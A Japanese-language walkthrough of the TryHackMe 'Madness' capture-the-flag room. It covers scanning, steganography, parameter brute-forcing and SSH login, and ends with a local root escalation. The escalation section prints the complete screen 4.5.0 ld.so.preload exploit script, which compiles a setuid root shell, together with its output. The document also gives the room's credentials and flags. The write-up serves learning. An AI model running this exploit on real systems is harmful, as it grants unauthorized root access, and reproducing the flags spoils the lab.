概要
TryHackMe「Madness」のWalkthroughです。
Task1
Q1.user.txt
Hint.There's something ROTten about this guys name!
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.143.87 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ac:f9:85:10:52:65:6e:17:f5:1c:34:e7:d8:64:67:b1 (RSA)
| 256 dd:8e:5a:ec:b1:95:cd:dc:4d:01:b3:fe:5f:4e:12:c1 (ECDSA)
|_ 256 e9:ed:e3:eb:58:77:3b:00:5e:3a:f5:24:d8:58:34:8e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1882/tcp filtered ecsqdmn
5266/tcp filtered unknown
28501/tcp filtered unknown
41855/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache httpd 2.4.18 |
ディレクトリの列挙を行いましたが、めぼしいものは見つかりませんでした。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.143.87/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result
[Status: 200, Size: 11320, Words: 3506, Lines: 377, Duration: 240ms]
:: Progress: [141695/141695] :: Job [1/1] :: 168 req/sec :: Duration: [0:14:18] :: Errors: 0 ::
80
番ポートではApacheのデフォルトページが表示されました。
ソースコードを見ると興味深いコメントアウトやthm.jpg
を読み込んでいると分かりました。
Webサイト上で表示されていないthm.jpg
を取得します。
$ wget http://10.10.143.87/thm.jpg
ステガノグラフィーを疑いファイルの抽出を試みましたがパスフレーズが分かりませんでした。
$ steghide extract -sf thm.jpg
Enter passphrase:
バイナリエディタで見るとマジックナンバーはPNG
形式になっています。
なので、JPGのFF D8 FF E0 00 10 4A 46 49 46 00 01
に変更します。
すると画像が表示され/th1s_1s_h1dd3n
というパスがわかりました。
アクセスし、ソースコードを見るとsecret
を0~99
の間で推測する必要があるとコメントに書かれています。
/th1s_1s_h1dd3n/?secret=0
の形式で99までブルートフォースします。
73
の時にレスポスサイズが他より大きいので怪しいです。
/th1s_1s_h1dd3n/?secret=73
へアクセスするとy2RPJ4QaPF!B
という文字列を得られました。
これを先ほど出来なかったステガノグラフィーのファイル抽出に使用します。
$ steghide extract -sf thm1.jpg
Enter passphrase:
wrote extracted data to "hidden.txt".
hidden.txt
が得られました。
Fine you found the password!
Here's a username
wbxre
I didn't say I would make it easy for you!
ユーザー名らしき文字列が得られました。
これをROT13で復号するとjoker
というユーザー名を得られました。
今度はルームにある画像をダウンロードします。
この画像もsteghide
でファイルを抽出します。
パスワードなしでpassword.txt
の抽出に成功しました。
$ steghide extract -sf 5iW7kC8.jpg
Enter passphrase:
wrote extracted data to "password.txt".
password.txt
にもパスワードらしき文字列がありました。
I didn't think you'd find me! Congratulations!
Here take my password
*axA&GF8dP
Username: joker
,Password: *axA&GF8dP
でSSH接続に成功しました。
$ ssh joker@10.10.143.87
joker@ubuntu:~$
/home/joker/user.txt
からユーザーフラグを入手できます。
THM{d5781e53b130efe2f94f9b0354a5e4ea}
A.THM{d5781e53b130efe2f94f9b0354a5e4ea}
Q2.root.txt
SUID
ビットがセットされたプログラムを探します。
$ find / -user root -perm -4000 2>/dev/null
(省略)
/bin/screen-4.5.0
/bin/screen-4.5.0.old
/bin/screen-4.5.0
という興味深いプログラムを発見しました。
このプログラムでexploitを検索すると権限昇格の脆弱性を発見しました。
exploitコードを作成します。
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
実行するとrootのシェルを取得できました。
$ ./exploit.sh
./exploit.sh: line 1: creenroot.sh: command not found
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
chmod("/tmp/rootshell", 04755);
^
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
seteuid(0);
^
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
setegid(0);
^
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
execvp("/bin/sh", NULL, NULL);
^
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-joker.
# whoami
root
/root/root.txt
からルートフラグを入手できます。
THM{5ecd98aa66a6abb670184d7547c8124a}
A.THM{5ecd98aa66a6abb670184d7547c8124a}